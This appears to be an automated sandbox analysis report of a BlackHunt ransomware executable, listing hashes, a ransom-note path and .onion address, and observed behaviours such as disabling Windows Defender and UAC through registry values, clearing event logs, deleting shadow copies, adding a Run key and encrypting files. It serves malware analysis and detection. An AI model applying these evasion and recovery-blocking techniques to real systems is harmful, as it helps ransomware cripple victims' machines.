Analysis
-
max time kernel
151s -
max time network
177s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:20
Static task
static1
Behavioral task
behavioral1
Sample
ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe
Resource
win10v2004-20231215-en
General
-
Target
ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe
-
Size
707KB
-
MD5
716652b0eaeab3c380a7cc82a7abad75
-
SHA1
590bef67e16d94fc1f65806546c86d0dcea1573f
-
SHA256
ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20
-
SHA512
ca805756d02d869b21539a1573c65a0bd3ee4904b5e33dd6840c67dffef5b585017820a005725074af770f4c2def2512ffd8d6e08ba5f0d5b130bf24f765aeee
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8Xvnh:6uaTmkZJ+naie5OTamgEoKxLWv/h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4212 fsutil.exe 6464 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 6756 wevtutil.exe 5776 wevtutil.exe 7788 wevtutil.exe 6572 wevtutil.exe 2716 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 6956 bcdedit.exe 2552 bcdedit.exe 1432 bcdedit.exe 2032 bcdedit.exe -
Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 3400 wbadmin.exe 6948 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\A: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\K: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\W: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Z: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\G: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\X: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\N: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\M: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\U: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\I: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\J: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\H: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\L: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\V: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\B: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\R: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\S: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\Y: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\O: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\P: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\E: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened (read-only) \??\T: ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\content-types.properties ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\glib.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\LINEAR_RGB.pf ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\dotnet\shared\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_es.properties ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\7-Zip\readme.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\ConfirmPing.bin ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\tzdb.dat ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\LICENSE ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\libffi.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\MSBuild\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\thaidict.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\management-agent.jar ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.txt ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1616 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 7112 vssadmin.exe 3844 vssadmin.exe 3812 vssadmin.exe 3356 vssadmin.exe 2688 vssadmin.exe 6164 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 4884 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5868 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeRestorePrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeBackupPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeTakeOwnershipPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeAuditPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeSecurityPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeIncBasePriorityPrivilege 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Token: SeBackupPrivilege 964 vssvc.exe Token: SeRestorePrivilege 964 vssvc.exe Token: SeAuditPrivilege 964 vssvc.exe Token: SeBackupPrivilege 6232 wbengine.exe Token: SeRestorePrivilege 6232 wbengine.exe Token: SeSecurityPrivilege 6232 wbengine.exe Token: SeSecurityPrivilege 7788 wevtutil.exe Token: SeBackupPrivilege 7788 wevtutil.exe Token: SeSecurityPrivilege 6572 wevtutil.exe Token: SeBackupPrivilege 6572 wevtutil.exe Token: SeSecurityPrivilege 2716 wevtutil.exe Token: SeBackupPrivilege 2716 wevtutil.exe Token: SeSecurityPrivilege 5776 wevtutil.exe Token: SeBackupPrivilege 5776 wevtutil.exe Token: SeSecurityPrivilege 6756 wevtutil.exe Token: SeBackupPrivilege 6756 wevtutil.exe Token: SeDebugPrivilege 4884 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 684 wrote to memory of 4636 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 89 PID 684 wrote to memory of 4636 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 89 PID 684 wrote to memory of 4500 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 91 PID 684 wrote to memory of 4500 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 91 PID 684 wrote to memory of 1156 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 93 PID 684 wrote to memory of 1156 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 93 PID 684 wrote to memory of 5076 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 172 PID 684 wrote to memory of 5076 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 172 PID 684 wrote to memory of 2232 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 96 PID 684 wrote to memory of 2232 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 96 PID 4636 wrote to memory of 4320 4636 cmd.exe 100 PID 4636 wrote to memory of 4320 4636 cmd.exe 100 PID 4500 wrote to memory of 4576 4500 reg.exe 102 PID 4500 wrote to memory of 4576 4500 reg.exe 102 PID 5076 wrote to memory of 4592 5076 reg.exe 99 PID 5076 wrote to memory of 4592 5076 reg.exe 99 PID 1156 wrote to memory of 2252 1156 cmd.exe 101 PID 1156 wrote to memory of 2252 1156 cmd.exe 101 PID 2232 wrote to memory of 2064 2232 cmd.exe 103 PID 2232 wrote to memory of 2064 2232 cmd.exe 103 PID 684 wrote to memory of 2000 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 104 PID 684 wrote to memory of 2000 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 104 PID 684 wrote to memory of 3584 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 105 PID 684 wrote to memory of 3584 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 105 PID 684 wrote to memory of 5040 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 110 PID 684 wrote to memory of 5040 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 110 PID 684 wrote to memory of 4268 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 108 PID 684 wrote to memory of 4268 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 108 PID 684 wrote to memory of 2100 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 111 PID 684 wrote to memory of 2100 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 111 PID 684 wrote to memory of 3300 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 115 PID 684 wrote to memory of 3300 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 115 PID 684 wrote to memory of 3720 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 117 PID 684 wrote to memory of 3720 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 117 PID 684 wrote to memory of 4140 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 120 PID 684 wrote to memory of 4140 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 120 PID 684 wrote to memory of 1808 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 119 PID 684 wrote to memory of 1808 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 119 PID 684 wrote to memory of 2920 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 122 PID 684 wrote to memory of 2920 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 122 PID 684 wrote to memory of 4464 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 125 PID 684 wrote to memory of 4464 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 125 PID 684 wrote to memory of 3392 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 127 PID 684 wrote to memory of 3392 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 127 PID 684 wrote to memory of 820 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 132 PID 684 wrote to memory of 820 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 132 PID 684 wrote to memory of 2796 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 131 PID 684 wrote to memory of 2796 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 131 PID 684 wrote to memory of 1628 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 129 PID 684 wrote to memory of 1628 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 129 PID 3584 wrote to memory of 4784 3584 cmd.exe 176 PID 3584 wrote to memory of 4784 3584 cmd.exe 176 PID 684 wrote to memory of 1480 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 134 PID 684 wrote to memory of 1480 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 134 PID 684 wrote to memory of 4860 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 138 PID 684 wrote to memory of 4860 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 138 PID 684 wrote to memory of 2980 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 140 PID 684 wrote to memory of 2980 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 140 PID 684 wrote to memory of 988 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 145 PID 684 wrote to memory of 988 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 145 PID 684 wrote to memory of 3376 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 141 PID 684 wrote to memory of 3376 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 141 PID 684 wrote to memory of 228 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 151 PID 684 wrote to memory of 228 684 ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe 151 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ece684d087602de76cd37ee76bb65a30544e4e13cc43be2475593ea92d00da20.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
